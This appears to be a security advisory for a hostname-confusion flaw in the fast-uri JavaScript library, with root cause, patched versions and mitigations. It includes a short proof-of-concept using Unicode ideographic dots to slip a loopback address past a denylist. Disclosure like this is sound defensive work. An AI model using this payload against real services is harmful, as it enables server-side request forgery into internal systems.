CVE-2026-13676: fast-uri IDN Host Confusion via Failed Canonicalization
fast-uri silently fails to convert Unicode hostnames to their ASCII equivalents, letting attackers bypass hostname-based security checks by using Unicode dot variants that Node's own URL parser…
The problem
fast-uri versions >= 2.3.1 and <= 4.0.0 attempt IDN canonicalization by calling URL.domainToASCII() on the global WHATWG URL object. That method does not exist there, so a TypeError is thrown and silently swallowed into parsed.error. The host is then returned in its original Unicode form.
Anything downstream that enforces a denylist, loopback filter, or redirect allowlist using fast-uri's parse(), normalize(), or equal() will compare against the raw Unicode string. Node's own URL and fetch() will then resolve the same input to the canonicalized ASCII address, bypassing the policy entirely.
Proof of concept
A working proof-of-concept for CVE-2026-13676 in fast-uri, with the exact payload below.
// Bypass a loopback denylist that uses fast-uri
const uri = require('fast-uri')
// Attacker-supplied URL using fullwidth/ideographic dots (U+3002)
const malicious = 'http://127。0。0。1/admin'
const parsed = uri.parse(malicious)
console.log(parsed.host) // '127。0。0。1' <- fast-uri sees this
// Policy check passes because the host is not '127.0.0.1'
if (parsed.host === '127.0.0.1') throw new Error('blocked')
// But Node's URL canonicalizes it to the real loopback address
const real = new URL(malicious)
console.log(real.hostname) // '127.0.0.1' <- fetch() goes here
// fetch(malicious) hits 127.0.0.1 -- policy bypassedThe root cause is CWE-436 (Interpretation Conflict): fast-uri and Node's WHATWG URL stack parse the same input differently. URL.domainToASCII lives on the require('url') module, not on the global URL constructor; calling it on the global object throws, which the library catches and discards, leaving the host uncanonized.
The patch (commit 2a6d357 and siblings) corrects the call site to use require('url').domainToASCII, so Unicode dot-variants and other IDN forms are properly folded to their ASCII equivalents before any comparison or normalization is returned to the caller.
The fix
Upgrade fast-uri to v4.0.1 (4.x line) or v3.1.3 (3.x line) or v2.4.2 (2.x line). No workaround exists short of upgrading. If upgrading is temporarily blocked, enforce host policy using the same URL parser used for the actual HTTP request, or reject any host containing non-ASCII characters before the policy check.
Reported by celinke97.
Related research
- high · 7.5CVE-2026-18446CVE-2026-18446: fast-uri Host Confusion via Backslash Authority Introducer
- high · 8.8CVE-2026-49473CVE-2026-49473: @cedar-policy/authorization-for-expressjs Authorization Bypass via Query String
- high · 7.8CVE-2026-15895CVE-2026-15895: jsii-diff OS Command Injection via npm: Package Argument
- high · 7.5CVE-2026-59870: js-yaml Quadratic CPU Denial of Service via !!omap